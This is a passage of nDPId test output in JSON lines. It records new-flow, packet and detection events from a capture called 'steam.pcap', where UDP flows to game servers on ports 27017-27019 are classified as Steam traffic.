+00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":12,"source":"steam.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1357332164787,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.8","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":11,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":12,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":787460,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+LvAqLyVUatzCLJhaYsALBktVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":12,"source":"steam.pcap","alias":"nDPId-test","flow_id":11,"flow_packet_id":1,"flow_first_seen":1357332164787,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.8","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":13,"source":"steam.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1357332164787,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.170","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":12,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":13,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":787832,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR5qjAqLyVRRyRqrJhaYkALAccVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":13,"source":"steam.pcap","alias":"nDPId-test","flow_id":12,"flow_packet_id":1,"flow_first_seen":1357332164787,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.170","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":12,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":14,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":823633,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWScAAIARjXlFHJGqwKi8lWmJsmEANPbVVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAA7fJcQrwAAAA="} +00450{"flow_id":7,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":15,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":834981,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWSgAAIARxIxEjlskwKi8lWmJsmEANPCBVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAzHF5K\/4AAAA="} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":16,"source":"steam.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1357332164836,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.14","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":16,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":836588,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx7AqLyVkkKYDrJhaYsALLOPVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":16,"source":"steam.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1357332164836,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.14","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":17,"source":"steam.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1357332164836,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.187","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":17,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":836991,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNw\/AqLyVSKU9u7JhaYoALFeBVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":17,"source":"steam.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1357332164836,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.187","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":18,"source":"steam.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1357332164837,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.172","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":18,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":837381,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR5qbAqLyVRRyRrLJhaYkALAcaVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":18,"source":"steam.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1357332164837,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"69.28.145.172","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":19,"source":"steam.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1357332164837,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.6","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":16,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":19,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":837780,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+L3AqLyVUatzBrJhaYsALBkvVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":19,"source":"steam.pcap","alias":"nDPId-test","flow_id":16,"flow_packet_id":1,"flow_first_seen":1357332164837,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.6","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":20,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":869478,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWSkAAIARjXVFHJGswKi8lWmJsmEANAokVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAumV7f70AAAA="} +00450{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":21,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":873184,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWSoAAIAR3dxIpT27wKi8lWmKsmEANMZ2VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAjNtWHqQAAAA="} +00449{"flow_id":1,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":22,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":876828,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWSsAAIAROeySQpgNwKi8lWmKsmEANDIHVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAhmUJFOgAAAA="} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":23,"source":"steam.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1357332164886,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.91.34","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":17,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":23,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":886847,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARHb\/AqLyVRI5bIrJhaYkALD4yVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":23,"source":"steam.pcap","alias":"nDPId-test","flow_id":17,"flow_packet_id":1,"flow_first_seen":1357332164886,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.91.34","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":24,"source":"steam.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1357332164887,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"203.77.185.4","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":18,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":24,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":887493,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAROR3AqLyVy025BLJhaYkALFmQVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":24,"source":"steam.pcap","alias":"nDPId-test","flow_id":18,"flow_packet_id":1,"flow_first_seen":1357332164887,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"203.77.185.4","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":25,"source":"steam.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1357332164888,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.116.179","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":19,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":25,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":888054,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARBC7AqLyVRI50s7JhaYkALCShVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":25,"source":"steam.pcap","alias":"nDPId-test","flow_id":19,"flow_packet_id":1,"flow_first_seen":1357332164888,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"68.142.116.179","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":26,"source":"steam.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1357332164888,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.188","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":20,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":26,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":888531,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNw7AqLyVSKU9vLJhaYkALFeBVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":26,"source":"steam.pcap","alias":"nDPId-test","flow_id":20,"flow_packet_id":1,"flow_first_seen":1357332164888,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.188","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00449{"flow_id":2,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":27,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":892062,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWSwAAIAROeySQpgMwKi8lWmLsmEANKu+VlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAMlh+aU0BAAA="} +00450{"flow_id":19,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":28,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":912924,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWS0AAIARqvhEjnSzwKi8lWmJsmEANEAeVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAHUr6J8MAAAA="} +00450{"flow_id":8,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":29,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":925660,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWS4AAIAROeqSQpgMwKi8lWmKsmEANAVPVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAJg+KI\/QAAAA="} +00450{"flow_id":20,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":30,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":927241,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWS8AAIAR3dZIpT28wKi8lWmJsmEANMuoVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAAUb2BCq8AAAA="} +00478{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":31,"source":"steam.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1357332164936,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.171.82","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":21,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":31,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":936282,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARQa3AqLyV0G+rUrJhaYkALGIgVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00501{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":31,"source":"steam.pcap","alias":"nDPId-test","flow_id":21,"flow_packet_id":1,"flow_first_seen":1357332164936,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"208.111.171.82","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":32,"source":"steam.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1357332164936,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.185","src_port":45665,"dst_port":27018,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":22,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":32,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":936712,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARNxHAqLyVSKU9ubJhaYoALFeDVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":32,"source":"steam.pcap","alias":"nDPId-test","flow_id":22,"flow_packet_id":1,"flow_first_seen":1357332164936,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"72.165.61.185","src_port":45665,"dst_port":27018,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00476{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":33,"source":"steam.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1357332164937,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.5","src_port":45665,"dst_port":27019,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00438{"flow_id":23,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":33,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":937088,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEAR+L7AqLyVUatzBbJhaYsALBkwVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00499{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":33,"source":"steam.pcap","alias":"nDPId-test","flow_id":23,"flow_packet_id":1,"flow_first_seen":1357332164937,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"81.171.115.5","src_port":45665,"dst_port":27019,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00477{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":34,"source":"steam.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1357332164937,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.13","src_port":45665,"dst_port":27017,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00439{"flow_id":24,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":34,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":937511,"pkt_caplen":78,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":78,"pkt_l4_len":44,"pkt":"AFBW4RiuAAwp3FvtCABFAABAAABAAEARkx\/AqLyVkkKYDbJhaYkALLOSVlMwMQAAAQAABgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAA"} +00500{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":34,"source":"steam.pcap","alias":"nDPId-test","flow_id":24,"flow_packet_id":1,"flow_first_seen":1357332164937,"flow_last_seen":0,"flow_tot_l4_data_len":44,"flow_min_l4_data_len":44,"flow_max_l4_data_len":44,"flow_avg_l4_data_len":44,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.188.149","dst_ip":"146.66.152.13","src_port":45665,"dst_port":27017,"l4_proto":"udp","ndpi": {"proto":"Steam","breed":"Fun","category":"Game"}} +00450{"flow_id":22,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":35,"source":"steam.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1357332164,"pkt_ts_usec":974050,"pkt_caplen":86,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":86,"pkt_l4_len":52,"pkt":"AAwp3FvtAFBW4RiuCABFAABIWTAAAIAR3dhIpT25wKi8lWmKsmEANKoaVlMwMQgAAgAAAAAAAAYAAAEAAAABAAAAAAAAAAAAAAAAAAAABVTtA7EAAAA="} 